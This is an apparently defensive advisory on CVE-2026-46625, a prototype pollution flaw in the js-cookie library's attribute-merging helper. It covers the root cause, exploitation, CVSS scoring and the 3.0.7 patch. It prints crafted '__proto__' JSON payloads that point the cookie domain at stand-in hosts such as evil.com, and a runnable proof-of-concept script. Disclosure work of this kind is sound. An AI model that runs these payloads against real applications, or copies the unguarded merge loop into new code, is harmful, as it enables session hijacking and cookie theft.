Introduction
A prototype pollution flaw in js-cookie, one of the most downloaded cookie-handling libraries in the npm ecosystem, lets attackers inject arbitrary attributes into cookies that developers believed were securely configured. The package has over 2 billion npm downloads and 9,529 direct dependents, so the blast radius of CVE-2026-46625 covers a significant portion of client-side JavaScript.
The mechanism is the interesting part. Classic global prototype pollution mutates Object.prototype and affects every object in the runtime. This is a per-instance prototype hijack, and it leaves Object.prototype untouched. The polluted object is the specific merged attributes object created during each Cookies.set() call. That makes the bug harder to catch with standard pollution checks, and it is still reliably exploitable.
Technical Information
Root Cause
The vulnerability lives in the assign() helper function in src/assign.mjs. The helper merges cookie attribute objects, and it copies properties from each source object onto a target with a for...in loop and plain property assignment:
export default function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i] for (var key in source) { // includes own enumerable '__proto__' target[key] = source[key] // [[Set]] form fires __proto__ setter } } return target }
The library kept the for...in loop for compatibility with Internet Explorer 10 and 11, which do not support Object.assign() or Object.getOwnPropertyNames() in the way the code needs. That constraint directly contributed to the bug, because modern property copying with Object.keys() or Object.assign() would neither enumerate __proto__ nor trigger the setter.
When JSON.parse produces the source object, a "__proto__" member in the JSON becomes an own enumerable property of the parsed object, distinct from the inherited __proto__ accessor on Object.prototype. The for...in loop enumerates it, and the assignment target["__proto__"] = source["__proto__"] on a fresh target {} invokes the Object.prototype.__proto__ setter, which replaces the target's prototype with the attacker-supplied value.
Object.prototype itself is never modified. The merged attributes object, though, now inherits attacker-controlled keys through its modified prototype chain.
Exploitation Chain
The attack proceeds in two stages:
-
Prototype hijack via assign(): An attacker-controlled JSON object containing a
__proto__key is passed as theattributesargument toCookies.set(),Cookies.remove(),Cookies.withAttributes(), orCookies.withConverter().assign()merges this object withfor...in, which fires the__proto__setter and pollutes the prototype of the merged attributes object. -
Attribute injection via set(): The consuming
set()function enumerates the merged attributes object with anotherfor...inloop to build theSet-Cookiestring. Every key the attacker placed on the polluted prototype appears as a cookie attribute pair in the resulting string.
The canonical attack pattern is an app that fetches its cookie configuration from a backend API:
fetch('/config').then(r => r.json()).then(attributes => { Cookies.set('session', 'value', attributes); });
If an attacker can influence the JSON response (through a compromised API endpoint, a man-in-the-middle attack on an unencrypted connection, or a backend injection flaw), they can supply a payload such as:
{"__proto__":{"domain":"evil.example","secure":"false","samesite":"None"}}
js-cookie then emits a Set-Cookie string with attacker-controlled domain, secure, samesite, expires, and path values, bypassing the cookie security constraints the developer intended.
Attack Vectors
| Attack Vector | Description | Prerequisites |
|---|---|---|
| Compromised API response | Attacker modifies JSON returned from backend config endpoint | Backend compromise or MITM on unencrypted connection |
| JSON injection via backend | Attacker injects __proto__ keys into server-stored configuration | Write access to config store or backend injection flaw |
| Client-side JSON tampering | Attacker modifies JSON in transit or via XSS before the cookie call | XSS in same origin or network-level attack |
| Third-party script injection | Malicious script calls Cookies.set() with crafted attributes | Script inclusion from untrusted source |
CVSS v3.1 Breakdown
The CVSS vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N breaks down as follows:
| Metric | Value | Rationale |
|---|---|---|
| Attack Vector | Network (AV:N) | Exploitable remotely over the network |
| Attack Complexity | Low (AC:L) | No special conditions required |
| Privileges Required | None (PR:N) | No authentication needed |
| User Interaction | None (UI:N) | Triggers automatically when the vulnerable code path runs |
| Scope | Unchanged (S:U) | Impact limited to the vulnerable component |
| Confidentiality | None (C:N) | No direct information disclosure |
| Integrity | High (I:H) | Cookie attributes can be fully manipulated |
| Availability | None (A:N) | No direct availability impact |
The Integrity: High rating reflects how much cookie attribute manipulation allows. An attacker who can set domain to a host they control, samesite to None, or secure to false can enable session hijacking, cross-site request forgery, and cookie exfiltration.
Proof of Concept
A complete, runnable proof of concept is published in the GitHub Security Advisory (GHSA-qjx8-664m-686j) and reproduced in OpenSearch Dashboards issue #12040.
Environment Setup:
mkdir -p /tmp/jscookie-poc && cd /tmp/jscookie-poc npm init -y npm i js-cookie
PoC (poc.mjs):
let lastSetCookie = ''; globalThis.document = { get cookie() { return ''; }, set cookie(v) { lastSetCookie = v; } }; const { default: Cookies } = await import('js-cookie'); const attackerAttrs = JSON.parse( '{"__proto__":{"secure":"false","domain":"evil.com","samesite":"None","expires":-1}}' ); Cookies.set('session', 'TOKEN', attackerAttrs); console.log('Set-Cookie that js-cookie wrote to document.cookie:'); console.log(lastSetCookie);
Execution:
node poc.mjs
The expected output shows the attacker-controlled attributes (domain=evil.com, secure=false, samesite=None, expires=-1) injected into the Set-Cookie string, even though the developer never specified them.
This PoC simulates a Node.js environment by shimming document.cookie, but the vulnerability is equally exploitable in the browser contexts where js-cookie is typically deployed.
Patch Information
Maintainer Klaus Hartl (carhartl) fixed the vulnerability in commit eb3c40e, released as part of version 3.0.7 on May 16, 2026.
The fix is a single-line guard inserted into the for...in loop inside src/assign.mjs:
@@ -2,6 +2,7 @@ export default function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i] for (var key in source) { + if (key === '__proto__') continue target[key] = source[key] } }
The guard skips the iteration whenever key equals '__proto__', so the dangerous setter never fires and the target object's prototype chain stays intact. The fix is minimal and targeted, and it preserves backward compatibility, including with IE 10/11. The commit message names IE 10/11 support as a reason the codebase still uses for...in instead of modern alternatives like Object.keys() or Object.assign().
The GitHub Security Advisory originally suggested a more defensive patch. It also filtered the 'constructor' and 'prototype' keys, and it replaced plain assignment with Object.defineProperty() so that no setter would fire at all. The maintainer chose the narrower fix that targets only '__proto__', since that is the only key whose plain assignment triggers the prototype setter in practice.
A matching unit test was added in test/tests.js:
QUnit.test( 'sanitization of attributes to prevent prototype pollution from untrusted input', function (assert) { var untrusted = JSON.parse('{"__proto__":{"foo":"bar"}}') assert.strictEqual( Cookies.set('c', 'v', untrusted), 'c=v; path=/', 'should prevent attribute-injection via prototype pollution' ) } )
The test reproduces the attack. It builds an object with JSON.parse from a __proto__ payload, passes it to Cookies.set(), and checks that the resulting cookie string contains only the default path=/ attribute and none of the attacker-injected keys.
The release notes for v3.0.7 name CVE-2026-46625 directly, so downstream consumers can easily identify and adopt the fix.
Affected Systems and Versions
All versions of js-cookie prior to 3.0.7 are affected. Specifically:
- js-cookie versions <= 3.0.5 are confirmed vulnerable
- js-cookie version 3.0.7 contains the fix
- js-cookie version 3.0.8 (published May 29, 2026) is the latest release and has no known security vulnerabilities
The vulnerability is exploitable in any application that passes externally sourced or attacker-influenced JSON objects as the attributes argument to Cookies.set(), Cookies.remove(), Cookies.withAttributes(), or Cookies.withConverter().
Vendor Security History
According to Snyk's vulnerability database, CVE-2026-46625 is the first publicly disclosed security vulnerability for the js-cookie v3.x line. Its predecessor, jquery-cookie, was retired and superseded by js-cookie, and has no known, publicly tracked CVE history of its own.
The repository includes a SECURITY.md file with guidance on reporting vulnerabilities, which indicates a responsible disclosure process is in place. The advisory was published and the patch shipped on the same day (May 16, 2026), a rapid response for an open-source project maintained by a small team.
Prototype pollution keeps turning up in major JavaScript libraries. Similar flaws have been disclosed in tough-cookie (CVE-2023-26136) and lodash (CVE-2026-2950). Both involve __proto__ manipulation through unsafe merge or assign operations, and both share the same CWE-1321 classification. In April 2026, Adobe also released emergency patches after confirmed active exploitation of a critical prototype pollution flaw.
References
- GitHub Advisory: GHSA-qjx8-664m-686j
- GitHub Security Advisory (js-cookie)
- GitLab Advisory: CVE-2026-46625
- OSV: GHSA-qjx8-664m-686j
- Tenable: CVE-2026-46625
- Patch Commit: eb3c40e
- Release v3.0.7
- OpenSearch Dashboards Issue #12040
- js-cookie GitHub Repository
- js-cookie on npm
- js-cookie on Snyk
- CWE-1321: Improperly Controlled Modification of Object Prototype Attributes
- CISA Known Exploited Vulnerabilities Catalog



